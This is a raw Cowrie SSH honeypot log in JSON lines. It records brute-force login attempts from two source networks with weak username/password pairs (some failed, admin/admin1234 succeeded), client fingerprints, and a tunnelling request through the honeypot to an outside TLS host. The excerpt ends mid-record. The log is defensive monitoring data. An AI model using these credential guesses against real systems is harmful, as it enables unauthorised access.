{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:59.236877Z","src_ip":"91.92.40.36","session":"0b36d83c4b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angeles","password":"angeles","message":"login attempt [angeles/angeles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:00.825424Z","src_ip":"91.92.40.36","session":"0be21793060b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:03.290488Z","src_ip":"91.92.40.36","session":"0be21793060b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234qwer","message":"login attempt [admin/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:04.062696Z","src_ip":"91.92.40.36","session":"0b36d83c4b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23016,"dst_ip":"159.203.135.109","dst_port":22,"session":"cea121bc97ab","protocol":"ssh","message":"New connection: 91.92.40.36:23016 (159.203.135.109:22) [session: cea121bc97ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:05.475265Z"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:06.254477Z","src_ip":"91.92.40.36","session":"0b36d83c4b48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:06.724393Z","src_ip":"91.92.40.36","session":"cea121bc97ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:06.728328Z","src_ip":"91.92.40.36","session":"cea121bc97ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":54530,"dst_ip":"10.17.0.5","dst_port":22,"session":"829118a17086","protocol":"ssh","message":"New connection: 23.175.50.51:54530 (10.17.0.5:22) [session: 829118a17086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:09.969817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:10.210180Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:10.214758Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:12.521366Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup12","message":"login attempt [backup/backup12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:12.532055Z","src_ip":"91.92.40.36","session":"cea121bc97ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57948,"dst_ip":"159.203.135.109","dst_port":22,"session":"140bcc879be8","protocol":"ssh","message":"New connection: 91.92.40.36:57948 (159.203.135.109:22) [session: 140bcc879be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:14.425598Z"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:15.012635Z","src_ip":"91.92.40.36","session":"cea121bc97ab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:15.708345Z","src_ip":"91.92.40.36","session":"140bcc879be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:15.717666Z","src_ip":"91.92.40.36","session":"140bcc879be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20270,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0d8446a686","protocol":"ssh","message":"New connection: 91.92.40.36:20270 (159.203.135.109:22) [session: 3b0d8446a686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:19.328055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:21.126493Z","src_ip":"91.92.40.36","session":"3b0d8446a686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:21.130582Z","src_ip":"91.92.40.36","session":"3b0d8446a686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:25.353385Z","src_ip":"91.92.40.36","session":"140bcc879be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hillary","password":"hillary","message":"login attempt [hillary/hillary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:27.073052Z","src_ip":"91.92.40.36","session":"3b0d8446a686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:27.315091Z","src_ip":"91.92.40.36","session":"140bcc879be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:28.352649Z","src_ip":"91.92.40.36","session":"3b0d8446a686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26258,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a3b0654848","protocol":"ssh","message":"New connection: 91.92.40.36:26258 (159.203.135.109:22) [session: 12a3b0654848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:31.226665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:31.826361Z","src_ip":"91.92.40.36","session":"12a3b0654848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:31.829975Z","src_ip":"91.92.40.36","session":"12a3b0654848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52502,"dst_ip":"10.17.0.5","dst_port":22,"session":"626e5286eab7","protocol":"ssh","message":"New connection: 23.175.50.52:52502 (10.17.0.5:22) [session: 626e5286eab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:35.422829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:35.427208Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:35.598248Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"p4ssword","message":"login attempt [mysql/p4ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:38.078652Z","src_ip":"91.92.40.36","session":"12a3b0654848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47226,"dst_ip":"159.203.135.109","dst_port":22,"session":"844a0c9e8023","protocol":"ssh","message":"New connection: 91.92.40.36:47226 (159.203.135.109:22) [session: 844a0c9e8023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:38.569564Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:38.663691Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:39.421517Z","src_ip":"91.92.40.36","session":"844a0c9e8023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:40.350930Z","src_ip":"91.92.40.36","session":"844a0c9e8023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:40.873736Z","src_ip":"91.92.40.36","session":"12a3b0654848","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.716804Z","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.775791Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\x11\\n\\xcb\\xe2\\xe2\\xc5_\\xf6\\xc9\\\\h\\x14\\x8bJ\\xd7\\x1b\\xb1\\xea\\x1a\\x93\\xec\\xe0\\x1c}G\\x91\\x0e\\x14\\xb0#\\x11 \\xb7\\x99\\xed=\\x10Y\\x90\\xc6\\x9f\\xc6r\\xa7\\x9c\\x17\\xac7D\\x84\\x19\\xea\\xdea\\xceC\\xcev\\xf7\\x08u\\x85qo\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 